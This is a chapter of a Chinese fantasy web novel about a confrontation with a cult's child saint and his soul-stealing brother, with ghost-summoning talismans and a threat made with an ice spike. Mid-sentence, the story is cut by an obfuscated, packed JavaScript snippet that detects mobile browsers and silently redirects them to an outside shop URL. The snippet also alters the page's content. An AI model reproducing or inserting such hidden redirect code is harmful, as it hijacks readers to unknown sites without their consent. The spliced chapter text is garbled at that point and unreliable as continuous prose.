111.药效对峙
作品:《竹马离开的第十年》 第一百一十一章
药效/对峙
冰刺还悬在青禾和另一名守狱人的颈上,林晚山却悠然自得地跟李逢卿站在一旁谈笑风生,见识过刚刚那场声势浩大的剑阵,两人自然不敢轻举妄动。
不同于林晚山与李逢卿这边的和谐,阮琛和白生互相暗流涌动的试探使原本扑朔迷离的无垢教之谜开始逐渐浮现出水面。
“千重狱里的大风只是一只幼崽,它的母亲呢?”
白生对阮琛的问题避而不答,眼神也不自觉瞥向倒在地上已经断了气的两只马匹。
“好那我换个问题。”见他迟迟不答阮琛也不着急,她伸手召回插在地上的蝶鸣剑,带着贝壳的响动叮铃铃的飞回它手中。
“你如今该是二十岁的年纪了罢?我上次见你不是还一直待在你兄长宋庭石身边当圣子吗?你究竟耍了什么把戏才变成了这副孩童的模样?”
白生仍旧一言不发,阮琛无奈耸耸肩。
“你不说的话,那我就给你绑了,扔到山顶上问你的好兄长咯?”
“不可以去!”一说到去见宋庭石,白生却急了。
“哦?为什么?”
“你们都会死的。”白生的表情十分严肃,完全不像是在开玩笑。
“哈?是么?你可知道我身后那位是谁?”阮琛随意拨弄着蝶鸣剑柄上的贝壳串子。
小孩点点头说:“我当然认识!他是李逢卿,我的救命恩人。”
“孤陋寡闻了吧,他可是林……嗯?”阮琛不敢相信自己的耳朵,“你再说一遍他是谁?”
白生理所当然的说:“李逢卿啊。”
阮琛一时语塞,回头一脸茫然地看着林晚山。
林晚山轻声笑了笑,用肩膀怼了怼李逢卿的胳膊,“喂,白生说你是他的救命恩人呢,船长。”
“不可能。”他眉头拧成了一条线。
“万一他是从你飞船里跑出来的……”
“没有万一,若真如此当初他第一眼就能识破你我的伪装。”李逢卿截断他的话说。
李逢卿这么说是因为他失去了作为李月君都所有记忆,但林晚山总觉得事情没这么简单,或许白生曾经真的见过李月君也说不定。
林晚山没有继续调侃,侧过头看向白生想听听他接下来会说些什么,李逢卿反倒有些不习惯,目光复杂地盯着林晚山露出的脖颈,喉头滚动,朝他又迈进了一小步。
明明两人之间的距离越来越近,李逢卿却觉得血橙的香气开始越来越小,他努力克制住想要扑进林晚山怀里获得满足感的冲动,手指紧紧攥成了一个拳头。
阮琛没有问白生关于李逢卿的事,而是顺着他的话反问道:“白生,你说李逢卿是你的救命恩人,而你却把他送去千重狱喂大风兽?”
“还真是别具一格的报恩方式。”林晚山冷不丁地冒出一句讽刺的话。
白生脑子转的不快,给饵就上钩。
“什么喂大风兽?我明明让那些守狱人不准锁他,好好好照顾他的,可谁知道他们却认错了人……”他言语间还溢出不少委屈,“若我真要拿他喂大风兽又何苦大费周章送他去千重谷,直接让他掉进湖里不就好了。”
“你还说不认识我,那为何我会跟李逢卿一样受到特殊待遇?”她的名字没有在守狱人的地图上画圈,按理说早该被丢进血潭里喂大风兽了。
“你!”白生气结,没想到自己又被阮琛套了进去。
林晚山从那些守狱人口中零碎的话猜测道:“阮琛和李逢卿不是你第一次放过的人吧?”
是又怎么样?不是又怎么样?白生偏偏就是不想回答林晚山的问题。
“他不想说?那你说好了。”林晚山抬手控制悬在青禾脖颈前的冰刺往前移了几分,女孩瞬间痛呼出声,冰刺扎破了她的皮肉几乎要刺穿她的血管。
死亡的恐惧如同一块巨石压在她的身上,所有的顾虑都不及眼前活命重要,嗡嗡耳鸣自后脑朝全身扩散,女孩一动也不敢动地趴坐在地上,眼泪代替颤抖滚落脸颊。
“别!别杀我!我说!”青禾咬着下唇忍着抽泣,生怕多动一下冰刺就会贯穿她的喉咙,“小圣子此前确实让我们带回去好几个人,都只让锁着,不让对他们动手用刑……”
“这么说你还瞒着宋庭石偷偷救了其他人,为什么?”
总不能所有人都对他有恩吧,阮琛可不相信。
得到了自己想要的答案,林晚山用手指对着冰刺轻轻勾了勾,它便往青禾皮肉里退出几分。
抬手的瞬间手背不经意地擦过李逢卿的手背,对方像是一只被抓包了的偷腥的猫,飞快把手藏在身后,慌乱的把眼珠瞟向别处,不敢直视林晚山的眼睛。
“你手好烫。”林晚山心脏怦怦跳的很快。
“抱歉,药效可能太重了。”他说。
林晚山表示理解,他自己闻了千年草果实的味道也很不好受,李逢卿没法使用灵气疏通经脉应该更难受吧。
他就这样蒙混过关,别在背后的手却又蠢蠢欲动着想要再去触摸林晚山,那怕只有一瞬。
但好在李逢卿的理智尚在,至多只把手背悄悄放在林晚山背后的衣摆上悄悄蹭了蹭,每蹭一下他的心中都倍感煎熬。
想蹭他的手……想抚摸他的脊背……想咬他的后颈……舔舐他的血液……
真是疯了,李逢卿心想。
对于李逢卿的想法林晚山丝毫未察觉,他仍在思考关于白生所做这一切的目的。
“是,我是还救了其他人,所以若是不想死在这里,你们最好现在立马离开。”白生有些心虚地揪着阿迎的胳膊不放。
“到现在你也还是没有对我们下手的想法,所以到底是何原因让你变成了现在这副模样,还在这无垢教当起了谋害他人性命的圣子?”
白生的心性不坏,林晚山认为他就是此行探查无垢教最大的突破口。
“无论你是宋亭玉也好白生也罢,无垢教里的人都是无辜的,现在挽救还不算太晚。”
听了林晚山的话,白生眼中果然有了一丝波动,他似乎真的有在考虑。
“亭玉。”一直把他抱在怀里的阿迎忽然叫他。
白生脑中紧绷的弦断开,心跳飞速加快,不敢再跟林晚山对视,而是抬头仰视着阿迎的眼睛。
“哥……”他弱弱的喊。
“你明知道哥哥需要他们的灵魂。”阿迎轻轻抚摸着白生的脑袋,颇有些无奈的模样。
“哥那些人不算很坏的!”
对他的解释阿迎并不在意,或者说他本就没打算拿白生怎么样。
“为了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078214|183663||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
达到目的哥哥可以不择手段,我早该想到你这么良善的人怎么会主动说要帮我的忙呢。”
他的话语中没有对弟弟的责备,只有对自己没能及时察觉弟弟心思的懊恼。
兄弟两人的对话把在场的所有人都惊在了原地,尤其是那名青年守狱人。
难以置信,他们的大师兄阿迎怎么会突然多出一个弟弟!
“你是谁?我们大师兄阿迎到底在哪?”他顶着被冰刺刺穿喉咙的风险拼死质问道。
“阿迎”懒得搭理一个无名小卒的问话,对他的质问置若罔闻,缓缓起身走向阮琛。
“阮家的女儿,我听弟弟说起过你。”
阮琛眉头一挑,睨着他,“你是宋庭石?”
“也可以这么说。”
“这具身体的主人呢?”或者她应该问阿迎原本的灵魂去了何处。
“这身体如今不过只是一具空壳罢了,你们大可以自己用各种手段来查。”他斜眼看向阮琛,又用余光瞥了一眼林晚山,“刚才没有让你身后的男人杀了我,是你做的最错的决定。”
蓦地,他不知从何处掏出两张符纸,仅用一瞬便把符纸抛掷向阮琛,并借力在地上一蹬,抱着怀里的白生往身后的石门边跃去。
阮琛第一时间选择了躲避,她往后退了几步,但发现符纸竟越过她朝她身后的两位守狱人飞去,那符纸上甚至还不断冒着丝丝缕缕的青烟的时候已经为时已晚。
冒着青烟的符纸像两只水蛭一般牢牢贴在两名守狱人的后颈处,两人皆因这突如其来的变故而惊呼出声,不由得前倾了身子。
林晚山蹙着眉落下悬在两人脖颈前的冰刺,眼睁睁看着一只桀桀怪笑的魑魅从贴在二人身后的符纸里钻出附身在了他们身体里,使其变成了鬼人。
到底是什么人教会或者是给了他们兄弟御鬼符!?
它们像是两只饿疯了的狼,一边大口吞噬着守狱人身体里的灵魂,一边还要对周围其他活人的□□虎视眈眈,垂涎欲滴。
就算是扭动着还未适应的活人身子,它们也要露出尖锐的爪牙,本能扑向身边距离最近的猎物——地上那四名仍然昏迷不醒的囚犯。
附身青年守狱人的魑魅速度极快,几乎是眨眼间便扑到了四名囚犯跟前,随手拽起一只胳膊就要往嘴里塞。
而另一只附身青禾的魑魅虽然也跃跃欲试着想要靠近那些诱人的囚犯,但作为一只已经附身在吞吃灵魂的魑魅本能又让它想要躲在暗处,想要等待把青禾身体里的灵魂吞吃干净以后再寻找新的猎物。
于是它就这样扭动着被它附身后扭曲畸形的身躯奔向火光微暗处。
林晚山拔出腰间不道剑脱手甩向距离石门越来越近的“阿迎”,又在指尖凝结出几枚冰刺,飞速朝变成鬼人的青禾小腿刺去。
那鬼人速度极快,林晚山只想借助冰刺打伤它从而减缓它的速度,但这只鬼人却仿佛感受不到任何疼痛,即使被冰刺划伤了脚踝也不见它的速度有丝毫变化。
飞出去的不道剑追逐着“阿迎”的身影接连几次都擦肩而过,眼看着他已经触发机关再次开启石门,不道剑擦着他的脸颊最后被他躲了过去。
剑身插在石门上,他则抱着白生借石门上的凸起向外跃去,回头瞟了一眼一直在角落看起来不显眼的李逢卿。

